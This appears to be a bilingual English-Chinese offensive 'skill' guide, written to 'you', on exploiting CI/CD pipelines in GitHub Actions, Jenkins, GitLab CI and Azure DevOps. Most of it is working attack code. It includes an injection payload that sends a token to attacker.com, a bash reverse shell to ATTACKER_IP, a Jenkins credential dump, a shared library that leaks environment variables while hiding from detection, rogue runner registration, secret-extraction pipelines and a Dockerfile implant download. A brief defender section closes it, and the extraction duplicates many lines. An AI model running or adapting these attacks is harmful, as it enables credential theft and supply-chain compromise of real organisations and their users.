offensive-cicd-pipeline
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseOffensive CI/CD Pipeline Exploitation
进攻性 CI/CD 管道利用
CI/CD pipelines represent one of the highest-value targets in modern infrastructure. A compromised
pipeline grants code execution in trusted contexts, access to deployment credentials, and the ability
to inject malicious code into production artifacts. You exploit the implicit trust that organizations
place in their build systems -- pipelines run code with elevated privileges, hold secrets for
deployment, and operate with minimal monitoring compared to production systems.
This skill covers exploitation across the four dominant CI/CD platforms. You enumerate pipeline
configurations, identify injection points, escalate from contributor-level access to arbitrary code
execution, and leverage pipeline trust to move laterally through environments.
MITRE ATT&CK: T1195.002 (Supply Chain Compromise: Compromise Software Supply Chain)
CI/CD 管道是现代基础设施中最有价值的目标之一。已被攻陷的
管道可在受信任的上下文中执行代码、访问部署凭据,并能将恶意代码注入生产构建产物。
你利用的是组织对构建系统所赋予的隐式信任——管道以提升后的权限运行代码、
持有部署密钥,并且与生产系统相比,监控要少得多。
本 skill 涵盖四大主流 CI/CD 平台上的利用。你需要枚举管道
配置、识别注入点、从贡献者级别的访问权限提升到任意代码
执行,并利用管道信任关系在环境中进行横向移动。
MITRE ATT&CK: T1195.002(供应链入侵:入侵软件供应链)
Quick Workflow
快速工作流
- Enumerate accessible repositories and their pipeline configurations (.github/workflows/, Jenkinsfile, .gitlab-ci.yml, azure-pipelines.yml).
- Identify the trigger model -- which events execute pipelines, and which contexts carry attacker-controlled input.
- Map token scopes and available secrets for each pipeline context.
- Select the injection vector matching your access level (contributor, external PR, authenticated user).
- Craft the payload for the target platform's expression language or script engine.
- Execute and capture output -- secrets, tokens, or artifact modification.
- Pivot using captured credentials to expand access to other pipelines, registries, or infrastructure.
- 枚举可访问的仓库及其管道配置(.github/workflows/、Jenkinsfile、.gitlab-ci.yml、azure-pipelines.yml)。
- 识别触发模型——哪些事件会执行管道,以及哪些上下文携带攻击者可控输入。
- 映射每种管道上下文的令牌作用域和可用密钥。
- 选择与访问级别匹配的注入向量(贡献者、外部 PR、已认证用户)。
- 为目标平台的表达式语言或脚本引擎构造 payload。
- 执行并捕获输出——密钥、令牌或对构建产物的修改。
- 使用捕获的凭据进行横向扩展,以访问其他管道、registry 或基础设施。
GitHub Actions Expression Injection
GitHub Actions 表达式注入
GitHub Actions evaluates expressions in contexts. When attacker-controlled data flows into
these expressions without sanitization, you achieve arbitrary command injection in the runner context.
${{ }}The most common injection surfaces are PR titles, issue bodies, branch names, and commit messages
that flow into steps or action inputs.
run:Identify vulnerable workflows by searching for direct interpolation of event data:
bash
undefinedGitHub Actions 会在 上下文中计算表达式。当攻击者可控的数据未经清理便流入
这些表达式时,就能在 runner 上下文中实现任意命令注入。
${{ }}最常见的注入入口是 PR 标题、issue 正文、分支名称和提交消息,
这些数据会流入 步骤或 action 输入。
run:通过搜索事件数据的直接插值来识别存在漏洞的工作流:
bash
undefinedSearch for expression injection sinks in workflow files
Search for expression injection sinks in workflow files
grep -rn '${{.*github.event.' .github/workflows/
grep -rn '${{.*github.head_ref' .github/workflows/
grep -rn '${{.*github.event.pull_request.title' .github/workflows/
grep -rn '${{.*github.event.issue.body' .github/workflows/
grep -rn '${{.*github.event.comment.body' .github/workflows/
grep -rn '${{.*github.event.discussion.body' .github/workflows/
A vulnerable workflow looks like this:
```yamlgrep -rn '${{.*github.event.' .github/workflows/
grep -rn '${{.*github.head_ref' .github/workflows/
grep -rn '${{.*github.event.pull_request.title' .github/workflows/
grep -rn '${{.*github.event.issue.body' .github/workflows/
grep -rn '${{.*github.event.comment.body' .github/workflows/
grep -rn '${{.*github.event.discussion.body' .github/workflows/
存在漏洞的工作流如下所示:
```yamlVulnerable: PR title flows directly into shell execution
Vulnerable: PR title flows directly into shell execution
name: PR Greeting
on: pull_request_target
jobs:
greet:
runs-on: ubuntu-latest
steps:
- run: |
echo "Thanks for PR: ${{ github.event.pull_request.title }}"
You inject through the PR title:
```text
"; curl -s https://attacker.com/exfil?token=$(cat $GITHUB_TOKEN) #For abuse, a workflow triggered by runs in the context of the default
branch but can access artifacts from the triggering workflow. You upload a poisoned artifact from a
PR workflow, then the workflow processes it with elevated privileges:
workflow_runworkflow_runworkflow_runyaml
undefinedname: PR Greeting
on: pull_request_target
jobs:
greet:
runs-on: ubuntu-latest
steps:
- run: |
echo "Thanks for PR: ${{ github.event.pull_request.title }}"
你可以通过 PR 标题注入:
```text
"; curl -s https://attacker.com/exfil?token=$(cat $GITHUB_TOKEN) #对于 滥用,由 触发的工作流会在默认分支的上下文中运行,
但可以访问触发该工作流的构建产物。你从 PR 工作流上传被投毒的构建产物,
随后 工作流会以提升后的权限处理这些构建产物:
workflow_runworkflow_runworkflow_runyaml
undefinedAttacker's PR modifies the artifact upload step
Attacker's PR modifies the artifact upload step
- uses: actions/upload-artifact@v4 with: name: pr-data path: payload.sh
- uses: actions/upload-artifact@v4 with: name: pr-data path: payload.sh
The workflow_run handler in the default branch processes artifacts unsafely
The workflow_run handler in the default branch processes artifacts unsafely
on:
workflow_run:
workflows: ["PR Build"]
types: [completed]
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- uses: actions/download-artifact@v4
- run: bash pr-data/payload.sh # Executes attacker's code with write access
Enumerate GITHUB_TOKEN permissions to understand your execution scope:
```bashon:
workflow_run:
workflows: ["PR Build"]
types: [completed]
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- uses: actions/download-artifact@v4
- run: bash pr-data/payload.sh # Executes attacker's code with write access
枚举 GITHUB_TOKEN 权限,以了解你的执行权限范围:
```bashInside a compromised workflow step, dump token permissions
Inside a compromised workflow step, dump token permissions
curl -sS -H "Authorization: token $GITHUB_TOKEN"
-H "Accept: application/vnd.github+json"
https://api.github.com/repos/$GITHUB_REPOSITORY | jq '.permissions'
-H "Accept: application/vnd.github+json"
https://api.github.com/repos/$GITHUB_REPOSITORY | jq '.permissions'
curl -sS -H "Authorization: token $GITHUB_TOKEN"
-H "Accept: application/vnd.github+json"
https://api.github.com/repos/$GITHUB_REPOSITORY | jq '.permissions'
-H "Accept: application/vnd.github+json"
https://api.github.com/repos/$GITHUB_REPOSITORY | jq '.permissions'
Check if the token can push to the repository
Check if the token can push to the repository
curl -sS -H "Authorization: token $GITHUB_TOKEN"
https://api.github.com/repos/$GITHUB_REPOSITORY/git/refs/heads/main
https://api.github.com/repos/$GITHUB_REPOSITORY/git/refs/heads/main
Composite action supply chain attacks target reusable actions referenced without SHA pinning:
```yamlcurl -sS -H "Authorization: token $GITHUB_TOKEN"
https://api.github.com/repos/$GITHUB_REPOSITORY/git/refs/heads/main
https://api.github.com/repos/$GITHUB_REPOSITORY/git/refs/heads/main
复合 Action 供应链攻击针对未固定 SHA 的可复用 Action:
```yamlVulnerable: references a tag that can be force-pushed
Vulnerable: references a tag that can be force-pushed
- uses: org/custom-action@v1
- uses: org/custom-action@v1
Secure: references an immutable commit SHA
Secure: references an immutable commit SHA
- uses: org/custom-action@a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2
Use gato to enumerate and exploit GitHub Actions misconfigurations:
```bash- uses: org/custom-action@a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2
使用 gato 枚举和利用 GitHub Actions 配置错误:
```bashEnumerate self-hosted runners and vulnerable workflows
Enumerate self-hosted runners and vulnerable workflows
gato enumerate -t ghp_TOKENHERE -r org/repo
gato enumerate -t ghp_TOKENHERE -o target-org
gato enumerate -t ghp_TOKENHERE -r org/repo
gato enumerate -t ghp_TOKENHERE -o target-org
Search for expression injection across an organization
Search for expression injection across an organization
gato search -t ghp_TOKENHERE -o target-org -sg
---gato search -t ghp_TOKENHERE -o target-org -sg
---Jenkins Exploitation
Jenkins 利用
Jenkins presents a broad attack surface through its script console, build configurations, shared
libraries, and the Java remoting protocol. You target Jenkins when you discover it exposed on the
network or when you obtain any level of authenticated access.
Jenkins 通过脚本控制台、构建配置、共享库和 Java remoting 协议
暴露出广泛的攻击面。当发现 Jenkins 暴露在网络上,或者获得任何级别的
认证访问权限时,即可将其作为攻击目标。
Groovy Script Console RCE
Groovy 脚本控制台 RCE
If you have access to the script console (requires Overall/RunScripts permission), you have
unrestricted code execution on the Jenkins controller:
groovy
// Direct command execution via script console
def cmd = "id && cat /etc/passwd".execute()
println cmd.text
// Reverse shell from Jenkins controller
def proc = ["bash", "-c", "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"].execute()
// Read Jenkins secrets directly
import hudson.util.Secret
import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials
def creds = CredentialsProvider.lookupCredentials(
StandardUsernamePasswordCredentials.class,
Jenkins.instance, null, null
)
creds.each { c ->
println("ID: ${c.id}")
println("Username: ${c.username}")
println("Password: ${c.password.plainText}")
println("---")
}如果你能访问脚本控制台(需要 Overall/RunScripts 权限),即可在 Jenkins controller 上
获得不受限制的代码执行能力:
groovy
// Direct command execution via script console
def cmd = "id && cat /etc/passwd".execute()
println cmd.text
// Reverse shell from Jenkins controller
def proc = ["bash", "-c", "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"].execute()
// Read Jenkins secrets directly
import hudson.util.Secret
import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials
def creds = CredentialsProvider.lookupCredentials(
StandardUsernamePasswordCredentials.class,
Jenkins.instance, null, null
)
creds.each { c ->
println("ID: ${c.id}")
println("Username: ${c.username}")
println("Password: ${c.password.plainText}")
println("---")
}Groovy Sandbox Escape
Groovy 沙箱逃逸
Pipeline scripts run in a Groovy sandbox, but you bypass it through meta-programming and reflection:
groovy
// Sandbox escape via meta-class manipulation
@Grab('commons-io:commons-io:2.11.0')
import org.apache.commons.io.IOUtils
// Bypass via method pointer and reflection
def bypass = evaluate('''
class Evil {
static void main(String[] args) {}
static Object run() {
def proc = "id".execute()
return proc.text
}
}
Evil.run()
''')
println bypass管道脚本在 Groovy 沙箱中运行,但你可以通过元编程和反射绕过沙箱:
groovy
// Sandbox escape via meta-class manipulation
@Grab('commons-io:commons-io:2.11.0')
import org.apache.commons.io.IOUtils
// Bypass via method pointer and reflection
def bypass = evaluate('''
class Evil {
static void main(String[] args) {}
static Object run() {
def proc = "id".execute()
return proc.text
}
}
Evil.run()
''')
println bypassJenkins Remoting Deserialization
Jenkins Remoting 反序列化
When the Jenkins remoting port (typically 50000) is exposed, you exploit Java deserialization
vulnerabilities:
bash
undefined当 Jenkins remoting 端口(通常为 50000)暴露时,可以利用 Java 反序列化
漏洞:
bash
undefinedIdentify Jenkins remoting port
Identify Jenkins remoting port
nmap -sV -p 50000 TARGET_IP
nmap -sV -p 50000 TARGET_IP
Use ysoserial to generate deserialization payloads
Use ysoserial to generate deserialization payloads
java -jar ysoserial.jar CommonsCollections1 'curl http://ATTACKER_IP/pwned' > payload.bin
java -jar ysoserial.jar CommonsCollections1 'curl http://ATTACKER_IP/pwned' > payload.bin
Deliver via the JNLP protocol
Deliver via the JNLP protocol
python3 jenkins_exploit.py --target TARGET_IP:50000 --payload payload.bin
undefinedpython3 jenkins_exploit.py --target TARGET_IP:50000 --payload payload.bin
undefinedShared Library Injection
共享库注入
Jenkins shared libraries loaded via are a supply chain vector. If you compromise the
library repository, every pipeline using it executes your code:
@Librarygroovy
// Malicious shared library vars/deploy.groovy
def call(Map config) {
// Original functionality preserved to avoid detection
sh "kubectl apply -f ${config.manifest}"
// Injected exfiltration
sh '''
env | base64 | curl -X POST -d @- https://attacker.com/collect
'''
}Use jenkins-attack-framework for systematic exploitation:
bash
undefined通过 加载的 Jenkins 共享库是一种供应链攻击向量。如果攻陷
共享库仓库,所有使用该库的管道都会执行你的代码:
@Librarygroovy
// Malicious shared library vars/deploy.groovy
def call(Map config) {
// Original functionality preserved to avoid detection
sh "kubectl apply -f ${config.manifest}"
// Injected exfiltration
sh '''
env | base64 | curl -X POST -d @- https://attacker.com/collect
'''
}使用 jenkins-attack-framework 进行系统化利用:
bash
undefinedEnumerate Jenkins instance
Enumerate Jenkins instance
python3 jaf.py --url https://jenkins.target.com --enumerate
python3 jaf.py --url https://jenkins.target.com --enumerate
Dump all credentials with valid session
Dump all credentials with valid session
python3 jaf.py --url https://jenkins.target.com --cookie "JSESSIONID=abc123" --dump-creds
python3 jaf.py --url https://jenkins.target.com --cookie "JSESSIONID=abc123" --dump-creds
Execute command via available build nodes
Execute command via available build nodes
python3 jaf.py --url https://jenkins.target.com --cookie "JSESSIONID=abc123"
--exec "whoami" --node "linux-build-01"
--exec "whoami" --node "linux-build-01"
---python3 jaf.py --url https://jenkins.target.com --cookie "JSESSIONID=abc123"
--exec "whoami" --node "linux-build-01"
--exec "whoami" --node "linux-build-01"
---GitLab CI Exploitation
GitLab CI 利用
GitLab CI pipelines execute based on and support powerful features that create
exploitation opportunities. You target variable injection, runner abuse, and trust boundary
violations between merge requests and protected branches.
.gitlab-ci.ymlGitLab CI 管道基于 执行,并支持可能造成利用机会的强大功能。
攻击目标包括变量注入、runner 滥用,以及 merge request 与受保护分支之间的
信任边界违规。
.gitlab-ci.ymlYAML Injection via Merge Requests
通过 Merge Request 进行 YAML 注入
When a project allows merge request pipelines from forks, the attacker's
executes on the target's runners:
.gitlab-ci.ymlyaml
undefined当项目允许来自 fork 的 merge request 管道运行时,攻击者的
会在目标项目的 runner 上执行:
.gitlab-ci.ymlyaml
undefinedAttacker's .gitlab-ci.yml in a fork
Attacker's .gitlab-ci.yml in a fork
stages:
- exploit
dump_secrets:
stage: exploit
script:
- env | sort
- cat /etc/hosts
- curl -sS --header "PRIVATE-TOKEN: $CI_JOB_TOKEN"
"https://gitlab.target.com/api/v4/projects/$CI_PROJECT_ID/variables" | python3 -m json.tool - | # Attempt to read secrets from runner filesystem find / -name ".env" -o -name "credentials" -o -name ".key" 2>/dev/null | head -20 cat ~/.docker/config.json 2>/dev/null || true
"https://gitlab.target.com/api/v4/projects/$CI_PROJECT_ID/variables" | python3 -m json.tool - | # Attempt to read secrets from runner filesystem find / -name ".env" -o -name "credentials" -o -name ".key" 2>/dev/null | head -20 cat ~/.docker/config.json 2>/dev/null || true
undefinedstages:
- exploit
dump_secrets:
stage: exploit
script:
- env | sort
- cat /etc/hosts
- curl -sS --header "PRIVATE-TOKEN: $CI_JOB_TOKEN"
"https://gitlab.target.com/api/v4/projects/$CI_PROJECT_ID/variables" | python3 -m json.tool - | # Attempt to read secrets from runner filesystem find / -name ".env" -o -name "credentials" -o -name ".key" 2>/dev/null | head -20 cat ~/.docker/config.json 2>/dev/null || true
"https://gitlab.target.com/api/v4/projects/$CI_PROJECT_ID/variables" | python3 -m json.tool - | # Attempt to read secrets from runner filesystem find / -name ".env" -o -name "credentials" -o -name ".key" 2>/dev/null | head -20 cat ~/.docker/config.json 2>/dev/null || true
undefinedRunner Registration Token Abuse
Runner 注册令牌滥用
If you obtain a runner registration token, you register a rogue runner that intercepts jobs:
bash
undefined如果获得 runner 注册令牌,就可以注册一个恶意 runner 来拦截作业:
bash
undefinedRegister a malicious runner with broad tag matching
Register a malicious runner with broad tag matching
gitlab-runner register
--non-interactive
--url "https://gitlab.target.com/"
--registration-token "GR1348941_STOLEN_TOKEN"
--executor "shell"
--description "build-node-07"
--tag-list "docker,linux,build,deploy"
--run-untagged="true"
--non-interactive
--url "https://gitlab.target.com/"
--registration-token "GR1348941_STOLEN_TOKEN"
--executor "shell"
--description "build-node-07"
--tag-list "docker,linux,build,deploy"
--run-untagged="true"
gitlab-runner register
--non-interactive
--url "https://gitlab.target.com/"
--registration-token "GR1348941_STOLEN_TOKEN"
--executor "shell"
--description "build-node-07"
--tag-list "docker,linux,build,deploy"
--run-untagged="true"
--non-interactive
--url "https://gitlab.target.com/"
--registration-token "GR1348941_STOLEN_TOKEN"
--executor "shell"
--description "build-node-07"
--tag-list "docker,linux,build,deploy"
--run-untagged="true"
The rogue runner now receives jobs and can:
The rogue runner now receives jobs and can:
1. Capture all environment variables including secrets
1. Capture all environment variables including secrets
2. Modify build artifacts before they are published
2. Modify build artifacts before they are published
3. Inject code into deployment payloads
3. Inject code into deployment payloads
undefinedundefinedCI Variable Extraction
CI 变量提取
Enumerate and extract CI/CD variables using the API with a compromised token:
bash
undefined使用已被攻陷的令牌,通过 API 枚举并提取 CI/CD 变量:
bash
undefinedList project-level variables
List project-level variables
curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN"
"https://gitlab.target.com/api/v4/projects/PROJECT_ID/variables" | jq '.[] | {key, value, protected, masked}'
"https://gitlab.target.com/api/v4/projects/PROJECT_ID/variables" | jq '.[] | {key, value, protected, masked}'
curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN"
"https://gitlab.target.com/api/v4/projects/PROJECT_ID/variables" | jq '.[] | {key, value, protected, masked}'
"https://gitlab.target.com/api/v4/projects/PROJECT_ID/variables" | jq '.[] | {key, value, protected, masked}'
List group-level variables (inherited by all projects)
List group-level variables (inherited by all projects)
curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN"
"https://gitlab.target.com/api/v4/groups/GROUP_ID/variables" | jq '.[] | {key, value}'
"https://gitlab.target.com/api/v4/groups/GROUP_ID/variables" | jq '.[] | {key, value}'
curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN"
"https://gitlab.target.com/api/v4/groups/GROUP_ID/variables" | jq '.[] | {key, value}'
"https://gitlab.target.com/api/v4/groups/GROUP_ID/variables" | jq '.[] | {key, value}'
Instance-level variables (requires admin)
Instance-level variables (requires admin)
curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN"
"https://gitlab.target.com/api/v4/admin/ci/variables" | jq '.'
"https://gitlab.target.com/api/v4/admin/ci/variables" | jq '.'
undefinedcurl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN"
"https://gitlab.target.com/api/v4/admin/ci/variables" | jq '.'
"https://gitlab.target.com/api/v4/admin/ci/variables" | jq '.'
undefinedProtected Branch Bypass
受保护分支绕过
Exploit the gap between merge request pipelines and branch pipelines to run code in protected
contexts:
bash
undefined利用 merge request 管道与分支管道之间的差异,在受保护的
上下文中运行代码:
bash
undefinedCreate a merge request that modifies .gitlab-ci.yml
Create a merge request that modifies .gitlab-ci.yml
The MR pipeline runs with the source branch's CI config
The MR pipeline runs with the source branch's CI config
but in the context of the target project's runners and variables
but in the context of the target project's runners and variables
If the project has "Run pipelines for merge requests from forked projects" enabled,
If the project has "Run pipelines for merge requests from forked projects" enabled,
your fork's .gitlab-ci.yml executes on their infrastructure
your fork's .gitlab-ci.yml executes on their infrastructure
git checkout -b exploit-branch
cat > .gitlab-ci.yml << 'EOF'
protected_job:
script:
- echo "$DEPLOY_KEY" | base64
- echo "$AWS_SECRET_ACCESS_KEY" | base64
only:
- merge_requests
EOF
git add .gitlab-ci.yml && git commit -m "Update CI config" && git push origin exploit-branch
---git checkout -b exploit-branch
cat > .gitlab-ci.yml << 'EOF'
protected_job:
script:
- echo "$DEPLOY_KEY" | base64
- echo "$AWS_SECRET_ACCESS_KEY" | base64
only:
- merge_requests
EOF
git add .gitlab-ci.yml && git commit -m "Update CI config" && git push origin exploit-branch
---Azure DevOps Pipeline Exploitation
Azure DevOps 管道利用
Azure DevOps pipelines use YAML or classic editor definitions. You target pipeline agent compromise,
service connection abuse, and variable group extraction.
Azure DevOps 管道使用 YAML 或经典编辑器定义。攻击目标包括管道 Agent 入侵、
服务连接滥用和变量组提取。
Pipeline Agent Abuse
管道 Agent 滥用
Self-hosted agents retain state between builds. You exploit this persistence:
yaml
undefined自托管 agent 会在多次构建之间保留状态。利用这种持久化机制:
yaml
undefinedazure-pipelines.yml payload targeting self-hosted agent
azure-pipelines.yml payload targeting self-hosted agent
trigger: none
pr: none
pool:
name: 'Self-Hosted-Pool'
steps:
-
script: |
Enumerate the agent environment
whoami hostname env | sortSearch for cached credentials on the agent
find /home/ -name ".kube" -o -name ".aws" -o -name ".azure" 2>/dev/null cat /home//.kube/config 2>/dev/null cat /home//.aws/credentials 2>/dev/nullCheck for Docker credentials
cat /home/*/.docker/config.json 2>/dev/nullLook for other pipeline artifacts left behind
ls -la /agent/_work/ find /agent/_work/ -name ".env" -o -name ".key" -o -name "*.pem" 2>/dev/null displayName: 'Agent Recon'
undefinedtrigger: none
pr: none
pool:
name: 'Self-Hosted-Pool'
steps:
-
script: |
Enumerate the agent environment
whoami hostname env | sortSearch for cached credentials on the agent
find /home/ -name ".kube" -o -name ".aws" -o -name ".azure" 2>/dev/null cat /home//.kube/config 2>/dev/null cat /home//.aws/credentials 2>/dev/nullCheck for Docker credentials
cat /home/*/.docker/config.json 2>/dev/nullLook for other pipeline artifacts left behind
ls -la /agent/_work/ find /agent/_work/ -name ".env" -o -name ".key" -o -name "*.pem" 2>/dev/null displayName: 'Agent Recon'
undefinedService Connection Theft
服务连接窃取
Service connections in Azure DevOps store credentials for external systems. You extract them
through pipeline execution:
yaml
steps:
- task: AzureCLI@2
inputs:
azureSubscription: 'Production-Azure-Connection'
scriptType: 'bash'
scriptLocation: 'inlineScript'
inlineScript: |
# The task injects credentials as environment variables
echo "Tenant: $tenantId"
echo "Client: $servicePrincipalId"
# Extract the service principal token
az account get-access-token --output json
# Use the managed identity to enumerate Azure resources
az resource list --output table
az keyvault list --output table
az keyvault secret list --vault-name TARGET_VAULT --output tableAzure DevOps 中的服务连接存储着外部系统的凭据。通过执行管道
提取这些凭据:
yaml
steps:
- task: AzureCLI@2
inputs:
azureSubscription: 'Production-Azure-Connection'
scriptType: 'bash'
scriptLocation: 'inlineScript'
inlineScript: |
# The task injects credentials as environment variables
echo "Tenant: $tenantId"
echo "Client: $servicePrincipalId"
# Extract the service principal token
az account get-access-token --output json
# Use the managed identity to enumerate Azure resources
az resource list --output table
az keyvault list --output table
az keyvault secret list --vault-name TARGET_VAULT --output tableVariable Group Extraction
变量组提取
bash
undefinedbash
undefinedUse the Azure DevOps REST API with a compromised PAT
Use the Azure DevOps REST API with a compromised PAT
PAT="STOLEN_PAT_HERE"
ORG="target-org"
PROJECT="target-project"
PAT="STOLEN_PAT_HERE"
ORG="target-org"
PROJECT="target-project"
List variable groups
List variable groups
curl -sS -u ":$PAT"
"https://dev.azure.com/$ORG/$PROJECT/_apis/distributedtask/variablegroups?api-version=7.0"
| jq '.value[] | {name, variables}'
"https://dev.azure.com/$ORG/$PROJECT/_apis/distributedtask/variablegroups?api-version=7.0"
| jq '.value[] | {name, variables}'
curl -sS -u ":$PAT"
"https://dev.azure.com/$ORG/$PROJECT/_apis/distributedtask/variablegroups?api-version=7.0"
| jq '.value[] | {name, variables}'
"https://dev.azure.com/$ORG/$PROJECT/_apis/distributedtask/variablegroups?api-version=7.0"
| jq '.value[] | {name, variables}'
List service connections
List service connections
curl -sS -u ":$PAT"
"https://dev.azure.com/$ORG/$PROJECT/_apis/serviceendpoint/endpoints?api-version=7.0"
| jq '.value[] | {name, type, authorization}'
"https://dev.azure.com/$ORG/$PROJECT/_apis/serviceendpoint/endpoints?api-version=7.0"
| jq '.value[] | {name, type, authorization}'
---curl -sS -u ":$PAT"
"https://dev.azure.com/$ORG/$PROJECT/_apis/serviceendpoint/endpoints?api-version=7.0"
| jq '.value[] | {name, type, authorization}'
"https://dev.azure.com/$ORG/$PROJECT/_apis/serviceendpoint/endpoints?api-version=7.0"
| jq '.value[] | {name, type, authorization}'
---Artifact Poisoning
构建产物投毒
Artifact poisoning targets the handoff between build and deploy stages. You modify build outputs
to inject malicious code into deployment packages.
bash
undefined构建产物投毒针对构建阶段与部署阶段之间的交接。修改构建输出,
将恶意代码注入部署包。
bash
undefinedGitHub Actions: Intercept artifact upload
GitHub Actions: Intercept artifact upload
In a compromised build step, modify artifacts before upload
In a compromised build step, modify artifacts before upload
echo 'curl https://attacker.com/beacon' >> dist/entrypoint.sh
echo 'curl https://attacker.com/beacon' >> dist/entrypoint.sh
GitLab CI: Poison the artifact cache
GitLab CI: Poison the artifact cache
Shared caches between pipelines allow cross-job poisoning
Shared caches between pipelines allow cross-job poisoning
cat > .gitlab-ci.yml << 'EOF'
poison_cache:
script:
- echo 'malicious_payload()' >> node_modules/.cache/babel-loader/payload.js
cache:
key: shared-build-cache
paths:
- node_modules/
policy: push
EOF
cat > .gitlab-ci.yml << 'EOF'
poison_cache:
script:
- echo 'malicious_payload()' >> node_modules/.cache/babel-loader/payload.js
cache:
key: shared-build-cache
paths:
- node_modules/
policy: push
EOF
Jenkins: Modify stashed files between stages
Jenkins: Modify stashed files between stages
If you control a build node, modify files after stash
If you control a build node, modify files after stash
The unstash on a different node receives your modified files
The unstash on a different node receives your modified files
Container image poisoning in registry pipelines:
```dockerfile
镜像仓库管道中的容器镜像投毒:
```dockerfileInject a backdoor layer into a build pipeline's Dockerfile
Inject a backdoor layer into a build pipeline's Dockerfile
FROM base-image:latest
FROM base-image:latest
Legitimate build steps
Legitimate build steps
COPY . /app
RUN npm install && npm run build
COPY . /app
RUN npm install && npm run build
Injected persistence
Injected persistence
RUN curl -sS https://attacker.com/implant -o /usr/local/bin/.svc && chmod +x /usr/local/bin/.svc
ENTRYPOINT ["/usr/local/bin/.svc", "--", "/app/entrypoint.sh"]
---RUN curl -sS https://attacker.com/implant -o /usr/local/bin/.svc && chmod +x /usr/local/bin/.svc
ENTRYPOINT ["/usr/local/bin/.svc", "--", "/app/entrypoint.sh"]
---Detection / Defender View
检测 / 防御者视角
Defenders should monitor for these indicators across their CI/CD platforms:
- Workflow modifications: Alert on changes to ,
.github/workflows/,Jenkinsfile, or.gitlab-ci.ymlin pull requests from external contributors or forks.azure-pipelines.yml - Unusual runner registration: New runner registrations, especially with broad tag matching or from unexpected IP ranges.
- Secret access patterns: CI jobs accessing secrets they have not historically used, or secrets being accessed in PR-triggered pipelines.
- Expression injection signatures: PR titles or issue bodies containing shell metacharacters (, backticks, semicolons, pipe operators) adjacent to workflow trigger events.
$() - Artifact integrity: Hash verification of build artifacts between pipeline stages; unexpected changes indicate poisoning.
- Token scope anomalies: GITHUB_TOKEN or CI_JOB_TOKEN making API calls outside the expected scope of the pipeline (e.g., accessing other repositories, modifying branch protections).
- Jenkins audit log: Script console access, credential enumeration via the API, and new node registrations from unauthorized sources.
- Build duration anomalies: Compromised builds often take longer due to exfiltration steps or additional network calls.
- Outbound network from runners: Build agents making connections to unexpected external hosts, especially data exfiltration over DNS or HTTPS to non-registry domains.
Key defensive controls:
- Pin all GitHub Actions to full commit SHAs, not tags.
- Restrict usage and never check out PR code in that context.
pull_request_target - Use ephemeral runners that are destroyed after each job.
- Implement OIDC for cloud authentication instead of storing long-lived credentials.
- Enable branch protection rules requiring review for workflow file changes.
- Segment runner pools by trust level -- never share runners between public and private repositories.
防御者应在所有 CI/CD 平台上监控以下检测指标:
- 工作流修改:当外部贡献者或 fork 的 PR 变更 、
.github/workflows/、Jenkinsfile或.gitlab-ci.yml时触发告警。azure-pipelines.yml - 异常 runner 注册:新 runner 注册,尤其是使用宽泛 tag 匹配或来自异常 IP 范围的注册。
- 密钥访问模式:CI job 访问其历史上未曾使用过的密钥,或在 PR 触发的管道中访问密钥。
- 表达式注入特征:PR 标题或 issue 正文中包含 shell 元字符(、反引号、分号、管道运算符),且邻近工作流触发事件。
$() - 构建产物完整性:在管道阶段之间对构建产物进行哈希校验;意外变更意味着可能存在投毒。
- 令牌作用域异常:GITHUB_TOKEN 或 CI_JOB_TOKEN 调用预期管道范围之外的 API,例如访问其他仓库或修改分支保护规则。
- Jenkins 审计日志:脚本控制台访问、通过 API 枚举凭据,以及来自未授权来源的新节点注册。
- 构建时长异常:被攻陷的构建通常会因数据外泄步骤或额外网络调用而耗时更长。
- runner 异常出站网络:构建 agent 连接到异常外部主机,尤其是通过 DNS 或 HTTPS 向非 registry 域名外泄数据。
关键防御控制措施:
- 将所有 GitHub Actions 固定到完整的 commit SHA,而不是 tag。
- 限制 的使用,且绝不在该上下文中检出 PR 代码。
pull_request_target - 使用执行完每个 job 后即销毁的临时 runner。
- 云身份验证采用 OIDC,而不是存储长期有效的凭据。
- 启用 branch protection rules,要求对工作流文件的变更进行审查。
- 按信任级别划分 runner pool——绝不在公共仓库和私有仓库之间共享 runner。
Engagement Cheatsheet
攻防速查表
| Platform | Vector | Access Required | Impact |
|---|---|---|---|
| GitHub Actions | Expression injection | Fork/PR (none) | Runner RCE |
| GitHub Actions | workflow_run artifact poison | Fork/PR (none) | Default branch RCE |
| GitHub Actions | Composite action supply chain | Action repo write | All consumers RCE |
| Jenkins | Script console | RunScripts permission | Controller RCE |
| Jenkins | Groovy sandbox escape | Build configure | Controller RCE |
| Jenkins | Remoting deserialization | Network access (50000) | Controller RCE |
| Jenkins | Shared library injection | Library repo write | All consumers RCE |
| GitLab CI | MR pipeline YAML injection | Fork (none) | Runner RCE |
| GitLab CI | Runner token registration | Token leak | Job interception |
| GitLab CI | Variable extraction | API token | Secret theft |
| Azure DevOps | Agent persistence | Pipeline edit | Agent RCE |
| Azure DevOps | Service connection theft | Pipeline edit | Cloud access |
| All Platforms | Artifact poisoning | Build step compromise | Supply chain |
| 平台 | 向量 | 所需访问权限 | 影响 |
|---|---|---|---|
| GitHub Actions | 表达式注入 | Fork/PR(无需权限) | Runner RCE |
| GitHub Actions | workflow_run 构建产物投毒 | Fork/PR(无需权限) | 默认分支 RCE |
| GitHub Actions | 复合 Action 供应链 | Action 仓库写权限 | 所有使用方 RCE |
| Jenkins | 脚本控制台 | RunScripts 权限 | Controller RCE |
| Jenkins | Groovy 沙箱逃逸 | 构建配置权限 | Controller RCE |
| Jenkins | Remoting 反序列化 | 网络访问(50000) | Controller RCE |
| Jenkins | 共享库注入 | 库仓库写权限 | 所有使用方 RCE |
